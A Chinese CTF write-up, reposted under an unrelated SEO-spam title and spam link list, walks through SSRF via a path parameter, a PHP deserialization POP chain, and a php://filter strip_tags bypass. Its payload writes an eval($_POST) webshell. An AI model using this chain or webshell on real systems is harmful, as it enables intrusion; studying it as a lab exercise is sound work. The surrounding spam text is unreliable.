当前位置: 首页 > wzjs >正文

一个旅游网站建设互联网域名是什么

一个旅游网站建设,互联网域名是什么,网上招聘网站开发报告,淘宝wordpress模板打开页面是个什么Apache2的页面,先扫一扫看看有没有hint 扫一扫还是有东西 尝试访问flag.php一片空白,还有个登录页面 再看看robots.txt会有什么提示吧 继续访问看看 跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的…

打开页面是个什么Apache2的页面,先扫一扫看看有没有hint

 扫一扫还是有东西

尝试访问flag.php一片空白,还有个登录页面

再看看robots.txt会有什么提示吧

继续访问看看

跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的服务器和不安全的协议应该就是SSRF

尝试用SSRF来读取

?path=http://127.0.0.1/star1.php

读取ser.php的源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
} 

这里我们可以发现是php序列化的代码,但是没有反序列化的入口 ,去看了一下wp用Arjun来扫描参数

参数是"c"

知道了参数就该开始找pop链了

同样的先找高危函数做链尾file_put_contents,可以通过函数读取文件中的flag,这里通过上传一句话木马来getshell,链尾确定

从后往前推,要触发Yongen::hasaki(),在GWHT::toString()中就直接调用了hasaki()方法

再触发toString方法,构成完整的pop链(但是这里有个疑惑点,__toString()怎么调用呢
然后参考了其他师傅的wp,结合我们暴露源码时最下面的your hat is too black!
应该是源码中反序列化点会直接输出对象,直接能触发该方法。)

逻辑如下
$c=$_GET['c']; if(isset($c)){echo $x = unserialize($c);  //echo 的时候会触发 __toString() 魔术方法}else{echo "your hat is too black!";}
GWHT::__construct()->GWHT::__toString()->Yongen::hasaki()

 关键点就是如何绕过死亡代码<?php die("nononon");?>,这个东西会拼接在我们要读取的变量里面;方法是用strip_tags绕过,死亡代码终究是一句php的标签,用strip_tags把标签去除,php://filter也支持strip_tags(string.strip.tags-------从字符串中去除HTML、PHP标签,是一个非常非常重要的函数)所以先base64编码,用string.strip_tags 将<?php?>全部删掉,再base64解码

poc

<?phpclass GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";public $text="PD9waHAgQGV2YWwoJF9QT1NUW3NoZWxsXSk/Pg==";
}$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>

payload

?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:71:"php://filter/string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:44:"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==";}}

 在shell.php页面进行命令执行

http://www.dtcms.com/wzjs/534367.html

相关文章:

  • yahoo不收录我的网站电视直播网站建设
  • 中国第四冶金建设有限公司官方网站网站开发 链接指向文件夹
  • 厂房验收 技术支持 东莞网站建设无锡网站服务公司
  • 企业网站首页效果图wordpress 学院主题
  • 鞍山网站制作报价网站颜色背景代码
  • 智谋网站优化公司有什么做设计接任务的网站
  • 直播网站建设重庆网站建设检查整改情况报告
  • 网站开发服务费会计分录建设部网站水利设计资质
  • 网站图标怎么换特微网站首页
  • 河南省住房和城乡建设厅查询网站wordpress模版目录
  • 中国建设银行官方网站下载wordpress花园商城
  • 免费行情软件网站下载过年做哪些网站能致富
  • 禅城网站建设公司关于申请网站建设经费的报告
  • 个人网站制作的选题意义移动网站建设制作公司
  • 网站维护方法个人网页设计作品 html模版
  • 网站的服务器是什么购买马来网站域名
  • 政务移动门户网站建设方案什么网站做推广农产品比较好
  • 网站301是什么意思物流官网网站
  • 北京国都建设集团网站没有备案的网站怎么访问
  • 在windows2003上做网站wordpress注册邮箱失效
  • 东莞做网站软件手机网页制作工具下载
  • 赣州网站制作培训网站建设标书模板下载
  • 什么蓝色 适合公司网站主色外贸企业网站制作
  • 《水利建设与管理》杂志社网站wordpress获取当前分类不带连接
  • 网站设计步骤和方法绿植行业做网站的
  • 网站其它方面seo情况小程序码
  • 网站运营一个月多少钱南阳做网站优化的公司
  • 东莞企业网站设计公司品牌营销策划方案怎么做才好
  • 做百度推广的网站吗wordpress搬家lnmp
  • 青海wap网站建设网站建设感受